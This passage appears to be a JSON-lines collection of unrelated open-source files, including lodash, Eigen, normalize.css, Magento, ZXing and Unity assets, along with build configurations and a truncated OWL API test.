m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _MainTex:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _MetallicGlossMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _OcclusionMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _ParallaxMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n m_Floats:\n - _BumpScale: 1\n - _Cutoff: 0.5\n - _DetailNormalMapScale: 1\n - _DstBlend: 0\n - _GlossMapScale: 1\n - _Glossiness: 0.5\n - _GlossyReflections: 1\n - _Metallic: 0\n - _Mode: 0\n - _OcclusionStrength: 1\n - _Parallax: 0.02\n - _SmoothnessTextureChannel: 0\n - _SpecularHighlights: 1\n - _SrcBlend: 1\n - _UVSec: 0\n - _ZWrite: 1\n m_Colors:\n - _Color: {r: 1, g: 1, b: 1, a: 1}\n - _EmissionColor: {r: 0, g: 0, b: 0, a: 1}\n"} +{"text": "/** Used as references for various `Number` constants. */\nvar MAX_SAFE_INTEGER = 9007199254740991;\n\n/* Built-in method references for those with the same name as other `lodash` methods. */\nvar nativeFloor = Math.floor;\n\n/**\n * The base implementation of `_.repeat` which doesn't coerce arguments.\n *\n * @private\n * @param {string} string The string to repeat.\n * @param {number} n The number of times to repeat the string.\n * @returns {string} Returns the repeated string.\n */\nfunction baseRepeat(string, n) {\n var result = '';\n if (!string || n < 1 || n > MAX_SAFE_INTEGER) {\n return result;\n }\n // Leverage the exponentiation by squaring algorithm for a faster repeat.\n // See https://en.wikipedia.org/wiki/Exponentiation_by_squaring for more details.\n do {\n if (n % 2) {\n result += string;\n }\n n = nativeFloor(n / 2);\n if (n) {\n string += string;\n }\n } while (n);\n\n return result;\n}\n\nmodule.exports = baseRepeat;\n"} +{"text": " ------\n Introduction\n ------\n Dennis Homann\n ------\n 26 September 2008\n ------\n\n~~ Copyright 2008 CoreMedia AG\n~~\n~~ Licensed under the Apache License, Version 2.0 (the \"License\");\n~~ you may not use this file except in compliance with the License.\n~~ You may obtain a copy of the License at\n~~\n~~ http://www.apache.org/licenses/LICENSE-2.0\n~~\n~~ Unless required by applicable law or agreed to in writing, software\n~~ distributed under the License is distributed on an \"AS IS\" BASIS,\n~~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n~~ See the License for the specific language governing permissions and\n~~ limitations under the License.\n\n~~ NOTE: For help with the syntax of this file, see:\n~~ http://maven.apache.org/guides/mini/guide-apt-format.html\n\nJangaroo Maven Plugin\n\n The jangaroo plugin compiles Jangaroo sources to JavaScript.\n\n* Goals Overview\n\n * {{{war-compile-mojo.html}jangaroo:war-compile}} compiles Jangaroo classes into the the web application. It is typically bound to the compile phase.\n\n * {{{war-package-mojo.html}jangaroo:war-package}} extracts all dependencies of type jangaroo into the web application target directory. Typically bound to the package phase.\n\n\n* Usage\n\n Instructions on how to use the Jangaroo Maven Plugin can be found {{{usage.html}here}}.\n"} +{"text": "<workspace name=\"pcnt_single_oversampling_overflow\">\n <project device=\"EFM32GG11B820F2048GL192\"\n name=\"EFM32GG11_pcnt_single_oversampling_overflow\">\n <targets>\n <name>slsproj</name>\n <name>iar</name>\n </targets>\n <directories>\n <cmsis>$PROJ_DIR$\\..\\..\\..\\..\\..\\platform\\CMSIS</cmsis>\n <device>$PROJ_DIR$\\..\\..\\..\\..\\..\\platform\\Device\\SiliconLabs</device>\n <emlib>$PROJ_DIR$\\..\\..\\..\\..\\..\\platform\\emlib</emlib>\n <drivers>$PROJ_DIR$\\..\\..\\..\\..\\..\\hardware\\kit\\common\\drivers</drivers>\n <bsp>$PROJ_DIR$\\..\\..\\..\\..\\..\\hardware\\kit\\common\\bsp</bsp>\n <kitconfig>$PROJ_DIR$\\..\\..\\..\\..\\..\\hardware\\kit\\SLSTK3701A_EFM32GG11\\config</kitconfig>\n </directories>\n <includepaths>\n <path>##em-path-cmsis##\\Include</path>\n <path>##em-path-device##\\EFM32GG11B\\Include</path>\n <path>##em-path-emlib##\\inc</path>\n <path>##em-path-kitconfig##</path>\n <path>##em-path-bsp##</path>\n <path>##em-path-drivers##</path>\n </includepaths>\n <group name=\"CMSIS\">\n <source>##em-path-device##\\EFM32GG11B\\Source\\$IDE$\\startup_efm32gg11b.s</source>\n <source>##em-path-device##\\EFM32GG11B\\Source\\system_efm32gg11b.c</source>\n </group>\n <group name=\"emlib\">\n <source>##em-path-emlib##\\src\\em_system.c</source>\n <source>##em-path-emlib##\\src\\em_core.c</source>\n <source>##em-path-emlib##\\src\\em_cmu.c</source>\n <source>##em-path-emlib##\\src\\em_pcnt.c</source>\n <source>##em-path-emlib##\\src\\em_gpio.c</source>\n <source>##em-path-emlib##\\src\\em_prs.c</source>\n <source>##em-path-emlib##\\src\\em_emu.c</source>\n </group>\n <group name=\"BSP\">\n <source>##em-path-bsp##\\bsp_stk_leds.c</source>\n </group>\n <group name=\"Source\">\n <source>$PROJ_DIR$\\..\\src\\main_gg11.c</source>\n <source>$PROJ_DIR$\\..\\readme.txt</source>\n </group>\n <cflags>\n <define>RETARGET_VCOM</define>\n </cflags>\n </project>\n</workspace>\n"} +{"text": "# dns-txt\n\nEncode or decode the RDATA field in multicast DNS TXT records. For use\nwith DNS-Based Service Discovery. For details see [RFC\n6763](https://tools.ietf.org/html/rfc6763).\n\n[![Build status](https://travis-ci.org/watson/dns-txt.svg?branch=master)](https://travis-ci.org/watson/dns-txt)\n[![js-standard-style](https://img.shields.io/badge/code%20style-standard-brightgreen.svg?style=flat)](https://github.com/feross/standard)\n[![abstract-encoding](https://img.shields.io/badge/abstract--encoding-compliant-brightgreen.svg?style=flat)](https://github.com/mafintosh/abstract-encoding)\n\n## Installation\n\n```\nnpm install dns-txt\n```\n\n## Usage\n\n```js\nvar txt = require('dns-txt')()\n\nvar obj = {\n foo: 1,\n bar: 2\n}\n\nvar enc = txt.encode(obj) // <Buffer 05 66 6f 6f 3d 31 05 62 61 72 3d 32>\n\ntxt.decode(enc) // { foo: '1', bar: '2' }\n```\n\n## API\n\nThe encoder and decoder conforms to [RFC 6763](https://tools.ietf.org/html/rfc6763).\n\n### Initialize\n\nThe module exposes a constructor function which can be called with an\noptional options object:\n\n```js\nvar txt = require('dns-txt')({ binary: true })\n```\n\nThe options are:\n\n- `binary` - If set to `true` all values will be returned as `Buffer`\n objects. The default behavior is to turn all values into strings. But\n according to the RFC the values can be any binary data. If you expect\n binary data, use this option.\n\n#### `txt.encode(obj, [buffer], [offset])`\n\nTakes a key/value object and returns a buffer with the encoded TXT\nrecord. If a buffer is passed as the second argument the object should\nbe encoded into that buffer. Otherwise a new buffer should be allocated\nIf an offset is passed as the third argument the object should be\nencoded at that byte offset. The byte offset defaults to `0`.\n\nThis module does not actively validate the key/value pairs, but keep the\nfollowing in rules in mind:\n\n- To be RFC compliant, each key should conform with the rules as\n specified in [section\n 6.4](https://tools.ietf.org/html/rfc6763#section-6.4).\n\n- To be RFC compliant, each value should conform with the rules as\n specified in [section\n 6.5](https://tools.ietf.org/html/rfc6763#section-6.5).\n\nAfter encoding `txt.encode.bytes` is set to the amount of bytes used to\nencode the object.\n\n#### `txt.decode(buffer, [offset], [length])`\n\nTakes a buffer and returns a decoded key/value object. If an offset is\npassed as the second argument the object should be decoded from that\nbyte offset. The byte offset defaults to `0`. Note that all keys will be\nlowercased and all values will be Buffer objects.\n\nAfter decoding `txt.decode.bytes` is set to the amount of bytes used to\ndecode the object.\n\n#### `txt.encodingLength(obj)`\n\nTakes a single key/value object and returns the number of bytes that the given\nobject would require if encoded.\n\n## License\n\nMIT\n"} +{"text": "//\n// ViewController.h\n// SlingshotDropdownAlert\n//\n// Created by Richard Kim on 8/26/14.\n// Copyright (c) 2014 Richard Kim. All rights reserved.\n//\n\n/*\n \n Copyright (c) 2014 Choong-Won Richard Kim <cwrichardkim@gmail.com>\n \n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n copies of the Software, and to permit persons to whom the Software is furnished\n to do so, subject to the following conditions:\n \n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n \n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n \n */\n\n#import <UIKit/UIKit.h>\n\n@interface ViewController : UIViewController\n\n@end\n"} +{"text": "// This file is part of Eigen, a lightweight C++ template library\n// for linear algebra.\n//\n// Copyright (C) 2008-2010 Gael Guennebaud <gael.guennebaud@inria.fr>\n// Copyright (C) 2006-2008 Benoit Jacob <jacob.benoit.1@gmail.com>\n//\n// This Source Code Form is subject to the terms of the Mozilla\n// Public License v. 2.0. If a copy of the MPL was not distributed\n// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n#ifndef EIGEN_VECTORBLOCK_H\n#define EIGEN_VECTORBLOCK_H\n\nnamespace Eigen { \n\nnamespace internal {\ntemplate<typename VectorType, int Size>\nstruct traits<VectorBlock<VectorType, Size> >\n : public traits<Block<VectorType,\n traits<VectorType>::Flags & RowMajorBit ? 1 : Size,\n traits<VectorType>::Flags & RowMajorBit ? Size : 1> >\n{\n};\n}\n\n/** \\class VectorBlock\n * \\ingroup Core_Module\n *\n * \\brief Expression of a fixed-size or dynamic-size sub-vector\n *\n * \\tparam VectorType the type of the object in which we are taking a sub-vector\n * \\tparam Size size of the sub-vector we are taking at compile time (optional)\n *\n * This class represents an expression of either a fixed-size or dynamic-size sub-vector.\n * It is the return type of DenseBase::segment(Index,Index) and DenseBase::segment<int>(Index) and\n * most of the time this is the only way it is used.\n *\n * However, if you want to directly maniputate sub-vector expressions,\n * for instance if you want to write a function returning such an expression, you\n * will need to use this class.\n *\n * Here is an example illustrating the dynamic case:\n * \\include class_VectorBlock.cpp\n * Output: \\verbinclude class_VectorBlock.out\n *\n * \\note Even though this expression has dynamic size, in the case where \\a VectorType\n * has fixed size, this expression inherits a fixed maximal size which means that evaluating\n * it does not cause a dynamic memory allocation.\n *\n * Here is an example illustrating the fixed-size case:\n * \\include class_FixedVectorBlock.cpp\n * Output: \\verbinclude class_FixedVectorBlock.out\n *\n * \\sa class Block, DenseBase::segment(Index,Index,Index,Index), DenseBase::segment(Index,Index)\n */\ntemplate<typename VectorType, int Size> class VectorBlock\n : public Block<VectorType,\n internal::traits<VectorType>::Flags & RowMajorBit ? 1 : Size,\n internal::traits<VectorType>::Flags & RowMajorBit ? Size : 1>\n{\n typedef Block<VectorType,\n internal::traits<VectorType>::Flags & RowMajorBit ? 1 : Size,\n internal::traits<VectorType>::Flags & RowMajorBit ? Size : 1> Base;\n enum {\n IsColVector = !(internal::traits<VectorType>::Flags & RowMajorBit)\n };\n public:\n EIGEN_DENSE_PUBLIC_INTERFACE(VectorBlock)\n\n using Base::operator=;\n\n /** Dynamic-size constructor\n */\n EIGEN_DEVICE_FUNC\n inline VectorBlock(VectorType& vector, Index start, Index size)\n : Base(vector,\n IsColVector ? start : 0, IsColVector ? 0 : start,\n IsColVector ? size : 1, IsColVector ? 1 : size)\n {\n EIGEN_STATIC_ASSERT_VECTOR_ONLY(VectorBlock);\n }\n\n /** Fixed-size constructor\n */\n EIGEN_DEVICE_FUNC\n inline VectorBlock(VectorType& vector, Index start)\n : Base(vector, IsColVector ? start : 0, IsColVector ? 0 : start)\n {\n EIGEN_STATIC_ASSERT_VECTOR_ONLY(VectorBlock);\n }\n};\n\n\n} // end namespace Eigen\n\n#endif // EIGEN_VECTORBLOCK_H\n"} +{"text": "<?php\n/**\n * Magento\n *\n * NOTICE OF LICENSE\n *\n * This source file is subject to the Open Software License (OSL 3.0)\n * that is bundled with this package in the file LICENSE.txt.\n * It is also available through the world-wide-web at this URL:\n * http://opensource.org/licenses/osl-3.0.php\n * If you did not receive a copy of the license and are unable to\n * obtain it through the world-wide-web, please send an email\n * to license@magentocommerce.com so we can send you a copy immediately.\n *\n * DISCLAIMER\n *\n * Do not edit or add to this file if you wish to upgrade Magento to newer\n * versions in the future. If you wish to customize Magento for your\n * needs please refer to http://www.magentocommerce.com for more information.\n *\n * @category Mage\n * @package Mage_Catalog\n * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com)\n * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)\n */\n\n$installer = $this;\n/* @var $installer Mage_Catalog_Model_Resource_Eav_Mysql4_Setup */\n\n$installer->startSetup();\n\n$installer->run(\"ALTER TABLE `{$installer->getTable('catalog_category_entity')}` DROP `is_active`;\");\n\n$installer->endSetup();\n"} +{"text": "/*! normalize.css v7.0.0 | MIT License | github.com/necolas/normalize.css */\n\n/* Document\n ========================================================================== */\n\n/**\n * 1. Correct the line height in all browsers.\n * 2. Prevent adjustments of font size after orientation changes in\n * IE on Windows Phone and in iOS.\n */\n\nhtml {\n line-height: 1.15; /* 1 */\n -ms-text-size-adjust: 100%; /* 2 */\n -webkit-text-size-adjust: 100%; /* 2 */\n}\n\n/* Sections\n ========================================================================== */\n\n/**\n * Remove the margin in all browsers (opinionated).\n */\n\nbody {\n margin: 0;\n}\n\n/**\n * Add the correct display in IE 9-.\n */\n\narticle,\naside,\nfooter,\nheader,\nnav,\nsection {\n display: block;\n}\n\n/**\n * Correct the font size and margin on `h1` elements within `section` and\n * `article` contexts in Chrome, Firefox, and Safari.\n */\n\nh1 {\n font-size: 2em;\n margin: 0.67em 0;\n}\n\n/* Grouping content\n ========================================================================== */\n\n/**\n * Add the correct display in IE 9-.\n * 1. Add the correct display in IE.\n */\n\nfigcaption,\nfigure,\nmain { /* 1 */\n display: block;\n}\n\n/**\n * Add the correct margin in IE 8.\n */\n\nfigure {\n margin: 1em 40px;\n}\n\n/**\n * 1. Add the correct box sizing in Firefox.\n * 2. Show the overflow in Edge and IE.\n */\n\nhr {\n box-sizing: content-box; /* 1 */\n height: 0; /* 1 */\n overflow: visible; /* 2 */\n}\n\n/**\n * 1. Correct the inheritance and scaling of font size in all browsers.\n * 2. Correct the odd `em` font sizing in all browsers.\n */\n\npre {\n font-family: monospace, monospace; /* 1 */\n font-size: 1em; /* 2 */\n}\n\n/* Text-level semantics\n ========================================================================== */\n\n/**\n * 1. Remove the gray background on active links in IE 10.\n * 2. Remove gaps in links underline in iOS 8+ and Safari 8+.\n */\n\na {\n background-color: transparent; /* 1 */\n -webkit-text-decoration-skip: objects; /* 2 */\n}\n\n/**\n * 1. Remove the bottom border in Chrome 57- and Firefox 39-.\n * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.\n */\n\nabbr[title] {\n border-bottom: none; /* 1 */\n text-decoration: underline; /* 2 */\n text-decoration: underline dotted; /* 2 */\n}\n\n/**\n * Prevent the duplicate application of `bolder` by the next rule in Safari 6.\n */\n\nb,\nstrong {\n font-weight: inherit;\n}\n\n/**\n * Add the correct font weight in Chrome, Edge, and Safari.\n */\n\nb,\nstrong {\n font-weight: bolder;\n}\n\n/**\n * 1. Correct the inheritance and scaling of font size in all browsers.\n * 2. Correct the odd `em` font sizing in all browsers.\n */\n\ncode,\nkbd,\nsamp {\n font-family: monospace, monospace; /* 1 */\n font-size: 1em; /* 2 */\n}\n\n/**\n * Add the correct font style in Android 4.3-.\n */\n\ndfn {\n font-style: italic;\n}\n\n/**\n * Add the correct background and color in IE 9-.\n */\n\nmark {\n background-color: #ff0;\n color: #000;\n}\n\n/**\n * Add the correct font size in all browsers.\n */\n\nsmall {\n font-size: 80%;\n}\n\n/**\n * Prevent `sub` and `sup` elements from affecting the line height in\n * all browsers.\n */\n\nsub,\nsup {\n font-size: 75%;\n line-height: 0;\n position: relative;\n vertical-align: baseline;\n}\n\nsub {\n bottom: -0.25em;\n}\n\nsup {\n top: -0.5em;\n}\n\n/* Embedded content\n ========================================================================== */\n\n/**\n * Add the correct display in IE 9-.\n */\n\naudio,\nvideo {\n display: inline-block;\n}\n\n/**\n * Add the correct display in iOS 4-7.\n */\n\naudio:not([controls]) {\n display: none;\n height: 0;\n}\n\n/**\n * Remove the border on images inside links in IE 10-.\n */\n\nimg {\n border-style: none;\n}\n\n/**\n * Hide the overflow in IE.\n */\n\nsvg:not(:root) {\n overflow: hidden;\n}\n\n/* Forms\n ========================================================================== */\n\n/**\n * 1. Change the font styles in all browsers (opinionated).\n * 2. Remove the margin in Firefox and Safari.\n */\n\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n font-family: sans-serif; /* 1 */\n font-size: 100%; /* 1 */\n line-height: 1.15; /* 1 */\n margin: 0; /* 2 */\n}\n\n/**\n * Show the overflow in IE.\n * 1. Show the overflow in Edge.\n */\n\nbutton,\ninput { /* 1 */\n overflow: visible;\n}\n\n/**\n * Remove the inheritance of text transform in Edge, Firefox, and IE.\n * 1. Remove the inheritance of text transform in Firefox.\n */\n\nbutton,\nselect { /* 1 */\n text-transform: none;\n}\n\n/**\n * 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`\n * controls in Android 4.\n * 2. Correct the inability to style clickable types in iOS and Safari.\n */\n\nbutton,\nhtml [type=\"button\"], /* 1 */\n[type=\"reset\"],\n[type=\"submit\"] {\n -webkit-appearance: button; /* 2 */\n}\n\n/**\n * Remove the inner border and padding in Firefox.\n */\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n border-style: none;\n padding: 0;\n}\n\n/**\n * Restore the focus styles unset by the previous rule.\n */\n\nbutton:-moz-focusring,\n[type=\"button\"]:-moz-focusring,\n[type=\"reset\"]:-moz-focusring,\n[type=\"submit\"]:-moz-focusring {\n outline: 1px dotted ButtonText;\n}\n\n/**\n * Correct the padding in Firefox.\n */\n\nfieldset {\n padding: 0.35em 0.75em 0.625em;\n}\n\n/**\n * 1. Correct the text wrapping in Edge and IE.\n * 2. Correct the color inheritance from `fieldset` elements in IE.\n * 3. Remove the padding so developers are not caught out when they zero out\n * `fieldset` elements in all browsers.\n */\n\nlegend {\n box-sizing: border-box; /* 1 */\n color: inherit; /* 2 */\n display: table; /* 1 */\n max-width: 100%; /* 1 */\n padding: 0; /* 3 */\n white-space: normal; /* 1 */\n}\n\n/**\n * 1. Add the correct display in IE 9-.\n * 2. Add the correct vertical alignment in Chrome, Firefox, and Opera.\n */\n\nprogress {\n display: inline-block; /* 1 */\n vertical-align: baseline; /* 2 */\n}\n\n/**\n * Remove the default vertical scrollbar in IE.\n */\n\ntextarea {\n overflow: auto;\n}\n\n/**\n * 1. Add the correct box sizing in IE 10-.\n * 2. Remove the padding in IE 10-.\n */\n\n[type=\"checkbox\"],\n[type=\"radio\"] {\n box-sizing: border-box; /* 1 */\n padding: 0; /* 2 */\n}\n\n/**\n * Correct the cursor style of increment and decrement buttons in Chrome.\n */\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n/**\n * 1. Correct the odd appearance in Chrome and Safari.\n * 2. Correct the outline style in Safari.\n */\n\n[type=\"search\"] {\n -webkit-appearance: textfield; /* 1 */\n outline-offset: -2px; /* 2 */\n}\n\n/**\n * Remove the inner padding and cancel buttons in Chrome and Safari on macOS.\n */\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n/**\n * 1. Correct the inability to style clickable types in iOS and Safari.\n * 2. Change font properties to `inherit` in Safari.\n */\n\n::-webkit-file-upload-button {\n -webkit-appearance: button; /* 1 */\n font: inherit; /* 2 */\n}\n\n/* Interactive\n ========================================================================== */\n\n/*\n * Add the correct display in IE 9-.\n * 1. Add the correct display in Edge, IE, and Firefox.\n */\n\ndetails, /* 1 */\nmenu {\n display: block;\n}\n\n/*\n * Add the correct display in all browsers.\n */\n\nsummary {\n display: list-item;\n}\n\n/* Scripting\n ========================================================================== */\n\n/**\n * Add the correct display in IE 9-.\n */\n\ncanvas {\n display: inline-block;\n}\n\n/**\n * Add the correct display in IE.\n */\n\ntemplate {\n display: none;\n}\n\n/* Hidden\n ========================================================================== */\n\n/**\n * Add the correct display in IE 10-.\n */\n\n[hidden] {\n display: none;\n}\n"} +{"text": "# Bundle properties for the BundleAdmin bundle.\n#\n# Copyright (c) 2007-2020 by Applied Informatics.\n# All rights reserved.\n\n# Manifest\nbundle.name = ${text.applicationName}\nbundle.vendor = Applied Informatics\nbundle.copyright = (c) 2007-2020, Applied Informatics Software Engineering GmbH\n\n# Extension point\nweb.path = /bundleAdmin\nweb.description = ${bundle.name}\n\n# HTML templates\nhtml.beginPage =\\\n<HTML>\\\n<HEAD>\\\n<TITLE>${text.applicationName}\\\n\\\n\\\n\\\n
    \\\n

    ${text.packageName}

    \\\n

    ${text.applicationName}

    \\\n
    \\\n
    \\\n${backlink}\\\n

    ${title}

    \n\nhtml.endPage =\\\n
    \\\n\\\n\n\nhtml.heading =

    ${title}

    \nhtml.beginTable = \nhtml.endTable =
    \nhtml.beginEvenRow = \nhtml.beginOddRow = \nhtml.endRow = \nhtml.beginHeaderCell = \nhtml.endHeaderCell = \nhtml.beginCell = \nhtml.endCell = \nhtml.beginList =
      \nhtml.endList =
    \nhtml.beginItem =
  • \nhtml.endItem =
  • \nhtml.beginPara =

    \nhtml.endPara =

    \nhtml.bundlePath = ${web.path}/showBundle?symbolicName=${symbolicName}\nhtml.installPath = ${web.path}/installBundle\nhtml.bundleLink = ${name}\nhtml.beginActionBar = \nhtml.endActionBar =
    \nhtml.actionForm = \\\n
    \\\n\\\n\\\n\\\n
    \\\n\nhtml.backlink = \\\n

    \\\n${backlink.title}

    \nhtml.installForm = \\\n

    ${text.install}

    \\\n
    \\\n\\\n\\\n
    \nhtml.upgradeForm = \\\n

    ${text.upgrade}

    \\\n
    \\\n\\\n\\\n\\\n
    \nhtml.installComplete =

    ${text.installComplete} ${html.bundleLink}

    \n\n# Localizable Text\ntext.packageName = Open Service Platform\ntext.applicationName = Bundle Administration Utility\ntext.installedBundles = Installed Bundles\ntext.id = ID\ntext.bundleName = Bundle Name\ntext.version = Version\ntext.symbolicName = Symbolic Name\ntext.vendor = Vendor\ntext.state = State\ntext.runlevel = Run Level\ntext.bundle = Bundle\ntext.copyright = Copyright\ntext.path = Path\ntext.dependencies = Bundle Dependencies\ntext.modules = Module Dependencies\ntext.provided = Provided Modules\ntext.module = Module\ntext.confirmUninstall = Confirm Uninstall\ntext.resolveBundle = Resolve Bundle\ntext.startBundle = Start Bundle\ntext.stopBundle = Stop Bundle\ntext.uninstallBundle = Uninstall Bundle\ntext.cancel = Cancel\ntext.uninstallSure = Are you sure you want to uninstall ${name} (${symbolicName})?\ntext.installBundle = Install Bundle\ntext.upgradeBundle = Upgrade Bundle\ntext.installComplete = The bundle has been successfully installed.\ntext.confirmStop = Confirm Stop\ntext.stopSure = Are you sure you want to stop ${name} (${symbolicName})? The following bundles depend on it and stopping it may render the application unusable or unstable.\ntext.install = Select a bundle file and click [${text.uploadInstall}] to upload and install the bundle.\ntext.upgrade = Select a bundle file and click [${text.uploadUpgrade}] to upload and install the bundle.\ntext.uploadInstall = Upload and Install\ntext.uploadUpgrade = Upload and Upgrade\ntext.installComplete = The following bundle has been successfully installed:\n"} +{"text": "fileFormatVersion: 2\nguid: d1fefdc8746d042da98dd80662c25c7b\ntimeCreated: 1536687531\nlicenseType: Free\nNativeFormatImporter:\n externalObjects: {}\n mainObjectFileID: 100100000\n userData: \n assetBundleName: \n assetBundleVariant: \n"} +{"text": "/*\n * Copyright 2012 ZXing authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#import \"ZXWriter.h\"\n\n/**\n * This is a factory class which finds the appropriate Writer subclass for the BarcodeFormat\n * requested and encodes the barcode with the supplied contents.\n */\n\n@interface ZXMultiFormatWriter : NSObject \n\n+ (id)writer;\n\n@end\n"} +{"text": "package mekanism.common.inventory.slot;\n\nimport java.util.Objects;\nimport javax.annotation.Nullable;\nimport javax.annotation.ParametersAreNonnullByDefault;\nimport mcp.MethodsReturnNonnullByDefault;\nimport mekanism.api.IContentsListener;\nimport mekanism.api.inventory.IInventorySlot;\nimport mekanism.api.recipes.MekanismRecipe;\nimport mekanism.common.tile.factory.TileEntityFactory;\n\n@ParametersAreNonnullByDefault\n@MethodsReturnNonnullByDefault\npublic class FactoryInputInventorySlot extends InputInventorySlot {\n\n public static FactoryInputInventorySlot create(TileEntityFactory factory, int process, IInventorySlot outputSlot,\n @Nullable IContentsListener listener, int x, int y) {\n return create(factory, process, outputSlot, null, listener, x, y);\n }\n\n public static FactoryInputInventorySlot create(TileEntityFactory factory, int process, IInventorySlot outputSlot,\n @Nullable IInventorySlot secondaryOutputSlot, @Nullable IContentsListener listener, int x, int y) {\n Objects.requireNonNull(factory, \"Factory cannot be null\");\n Objects.requireNonNull(outputSlot, \"Primary output slot cannot be null\");\n return new FactoryInputInventorySlot<>(factory, process, outputSlot, secondaryOutputSlot, listener, x, y);\n }\n\n private FactoryInputInventorySlot(TileEntityFactory factory, int process, IInventorySlot outputSlot, @Nullable IInventorySlot secondaryOutputSlot,\n @Nullable IContentsListener listener, int x, int y) {\n super(stack -> factory.inputProducesOutput(process, stack, outputSlot, secondaryOutputSlot, false), factory::isValidInputItem, listener, x, y);\n }\n}"} +{"text": "import _plotly_utils.basevalidators\n\n\nclass TextValidator(_plotly_utils.basevalidators.StringValidator):\n def __init__(self, plotly_name=\"text\", parent_name=\"cone\", **kwargs):\n super(TextValidator, self).__init__(\n plotly_name=plotly_name,\n parent_name=parent_name,\n array_ok=kwargs.pop(\"array_ok\", True),\n edit_type=kwargs.pop(\"edit_type\", \"calc\"),\n role=kwargs.pop(\"role\", \"info\"),\n **kwargs\n )\n"} +{"text": "load(\"//tools/build_rules:java_rules.bzl\", \"standard_java_test\")\n\nstandard_java_test(\n name = \"config\",\n deps = [\n \"//src/com/facebook/buck/core/exceptions:exceptions\",\n \"//src/com/facebook/buck/test/config:config\",\n \"//test/com/facebook/buck/core/config:testutil\",\n \"//test/com/facebook/buck/testutil:testutil\",\n \"//third-party/java/guava:guava\",\n \"//third-party/java/junit:junit\",\n ],\n)\n"} +{"text": "/* This file is part of the OWL API.\n * The contents of this file are subject to the LGPL License, Version 3.0.\n * Copyright 2014, The University of Manchester\n * \n * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n * You should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/.\n *\n * Alternatively, the contents of this file may be used under the terms of the Apache License, Version 2.0 in which case, the provisions of the Apache License Version 2.0 are applicable instead of those above.\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with the License. You may obtain a copy of the License at\n * http://www.apache.org/licenses/LICENSE-2.0\n * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */\npackage org.semanticweb.owlapi.api.test;\n\nimport static org.semanticweb.owlapi.apibinding.OWLFunctionalSyntaxFactory.Class;\nimport static org.semanticweb.owlapi.apibinding.OWLFunctionalSyntaxFactory.IRI;\nimport static org.semanticweb.owlapi.apibinding.OWLFunctionalSyntaxFactory.ObjectProperty;\nimport static org.semanticweb.owlapi.vocab.OWLRDFVocabulary.OWL_CLASS;\nimport static org.semanticweb.owlapi.vocab.OWLRDFVocabulary.OWL_DISJOINT_WITH;\nimport static org.semanticweb.owlapi.vocab.OWLRDFVocabulary.RDFS_SUBCLASS_OF;\nimport static org.semanticweb.owlapi.vocab.OWLRDFVocabulary.RDF_TYPE;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\n\nimport org.junit.Test;\nimport org.semanticweb.owlapi.io.RDFNode;\nimport org.semanticweb.owlapi.io.RDFResourceBlankNode;\nimport org.semanticweb.owlapi.io.RDFResourceIRI;\nimport org.semanticweb.owlapi.io.RDFTriple;\nimport org.semanticweb.owlapi.model.IRI;\nimport org.semanticweb.owlapi.model.OWLEntity;\nimport org.semanticweb.owlapi.vocab.OWLRDFVocabulary;\n\n@SuppressWarnings(\"javadoc\")\npublic class TripleComparatorTestCase {\n\n private final String ns = \"http://www.co-ode.org/roberts/pto.owl#\";\n private final 